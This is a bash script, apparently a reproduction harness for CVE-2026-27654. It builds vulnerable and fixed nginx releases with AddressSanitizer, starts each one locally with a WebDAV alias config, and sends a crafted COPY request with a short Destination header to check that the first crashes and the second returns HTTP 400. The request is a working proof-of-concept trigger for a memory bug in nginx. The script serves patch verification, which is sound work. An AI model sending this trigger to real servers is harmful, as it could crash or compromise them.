#!/bin/bash
set -euo pipefail

# Portable root detection - works anywhere
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
mkdir -p "$LOGS"

cd "$ROOT"

NGINX_REPO="$ROOT/external/nginx"
VULN_PREFIX="$ROOT/builds/nginx-vuln"
FIXED_PREFIX="$ROOT/builds/nginx-fixed"
DAV_ALIAS="$ROOT/dav-alias"
DAV_TMP="$ROOT/dav-tmp"
NGINX_CONF="$ROOT/repro/nginx.conf"

# Cleanup function
cleanup() {
    if [[ -n "${NGINX_PID:-}" ]]; then
        kill "$NGINX_PID" 2>/dev/null || true
        wait "$NGINX_PID" 2>/dev/null || true
    fi
}
trap cleanup EXIT

# Clone nginx repo if needed
if [[ ! -d "$NGINX_REPO/.git" ]]; then
    echo "[*] Cloning nginx repository..."
    mkdir -p "$ROOT/external"
    git clone --depth=100 https://github.com/nginx/nginx.git "$NGINX_REPO"
fi

# Build vulnerable version if needed
if [[ ! -x "$VULN_PREFIX/sbin/nginx" ]]; then
    echo "[*] Building vulnerable nginx (release-1.29.6)..."
    cd "$NGINX_REPO"
    git clean -fdx
    git checkout release-1.29.6
    ./auto/configure \
        --with-http_dav_module \
        --with-cc-opt="-fsanitize=address -g -O1 -fno-omit-frame-pointer" \
        --with-ld-opt="-fsanitize=address" \
        --prefix="$VULN_PREFIX" \
        >/dev/null
    make -j"$(nproc)" >/dev/null
    make install >/dev/null
fi

# Build fixed version if needed
if [[ ! -x "$FIXED_PREFIX/sbin/nginx" ]]; then
    echo "[*] Building fixed nginx (release-1.29.7)..."
    cd "$NGINX_REPO"
    git clean -fdx
    git checkout release-1.29.7
    ./auto/configure \
        --with-http_dav_module \
        --with-cc-opt="-fsanitize=address -g -O1 -fno-omit-frame-pointer" \
        --with-ld-opt="-fsanitize=address" \
        --prefix="$FIXED_PREFIX" \
        >/dev/null
    make -j"$(nproc)" >/dev/null
    make install >/dev/null
fi

# Create DAV alias directory and source file
mkdir -p "$DAV_ALIAS" "$DAV_TMP"
echo "test" > "$DAV_ALIAS/src.txt"

# Write nginx config
cat > "$NGINX_CONF" <<EOF
daemon off;
master_process off;
worker_processes 1;
events { worker_connections 64; }
http {
    server {
        listen 8080;
        client_body_temp_path $DAV_TMP;
        location /davvvv/ {
            alias $DAV_ALIAS/;
            dav_methods PUT DELETE MKCOL COPY MOVE;
            create_full_put_path on;
            dav_access user:rw group:rw all:r;
        }
    }
}
EOF

# ── Test vulnerable build ──
echo "[*] Testing vulnerable build..."
NGINX_PID=""
rm -f "$LOGS/asan_vulnerable".*
ASAN_OPTIONS="detect_leaks=0:log_path=$LOGS/asan_vulnerable" \
    "$VULN_PREFIX/sbin/nginx" -p "$VULN_PREFIX" -c "$NGINX_CONF" >"$LOGS/vulnerable_stdout.txt" 2>"$LOGS/vulnerable_stderr.txt" &
NGINX_PID=$!
sleep 1

# Send trigger
curl -s -X COPY "http://127.0.0.1:8080/davvvv/src.txt" \
    -H "Destination: http://127.0.0.1:8080/xx" \
    >"$LOGS/vulnerable_curl.txt" 2>"$LOGS/vulnerable_curl_err.txt" || true

# Wait a moment for ASAN to flush, then kill if still alive
sleep 2
kill "$NGINX_PID" 2>/dev/null || true
wait "$NGINX_PID" 2>/dev/null || true
NGINX_PID=""

# Check for ASAN log file
ASAN_LOG=$(ls "$LOGS"/asan_vulnerable.* 2>/dev/null || true)
if [[ -n "$ASAN_LOG" && -s "$ASAN_LOG" ]]; then
    echo "[+] Vulnerable build: ASAN error detected"
    cp "$ASAN_LOG" "$LOGS/vulnerable_asan.txt"
    VULN_CRASHED=1
else
    echo "[-] Vulnerable build: NO ASAN error"
    VULN_CRASHED=0
fi

# ── Test fixed build ──
echo "[*] Testing fixed build..."
NGINX_PID=""
rm -f "$LOGS/asan_fixed".*
ASAN_OPTIONS="detect_leaks=0:log_path=$LOGS/asan_fixed" \
    "$FIXED_PREFIX/sbin/nginx" -p "$FIXED_PREFIX" -c "$NGINX_CONF" >"$LOGS/fixed_stdout.txt" 2>"$LOGS/fixed_stderr.txt" &
NGINX_PID=$!
sleep 1

# Send trigger
curl -s -w "\nHTTP_CODE:%{http_code}\n" -X COPY "http://127.0.0.1:8080/davvvv/src.txt" \
    -H "Destination: http://127.0.0.1:8080/xx" \
    >"$LOGS/fixed_curl.txt" 2>"$LOGS/fixed_curl_err.txt" || true

sleep 2
kill "$NGINX_PID" 2>/dev/null || true
wait "$NGINX_PID" 2>/dev/null || true
NGINX_PID=""

# Check fixed response
FIXED_HTTP_CODE=$(grep -oP 'HTTP_CODE:\K[0-9]+' "$LOGS/fixed_curl.txt" || echo "")
if [[ "$FIXED_HTTP_CODE" == "400" ]]; then
    echo "[+] Fixed build: returned HTTP 400 Bad Request"
    FIXED_OK=1
else
    echo "[-] Fixed build: unexpected HTTP code '$FIXED_HTTP_CODE'"
    FIXED_OK=0
fi

# Check fixed has no ASAN error (ignore LeakSanitizer)
ASAN_LOG_FIXED=$(ls "$LOGS"/asan_fixed.* 2>/dev/null || true)
if [[ -n "$ASAN_LOG_FIXED" && -s "$ASAN_LOG_FIXED" ]]; then
    if grep -q "ERROR: AddressSanitizer:" "$ASAN_LOG_FIXED" && ! grep -q "LeakSanitizer" "$ASAN_LOG_FIXED"; then
        echo "[-] Fixed build: unexpected ASAN error"
        FIXED_OK=0
    fi
fi

# ── Verdict ──
if [[ "$VULN_CRASHED" -eq 1 && "$FIXED_OK" -eq 1 ]]; then
    echo "[+] VERDICT: CVE-2026-27654 confirmed"
    exit 0
else
    echo "[-] VERDICT: could not confirm"
    exit 1
fi
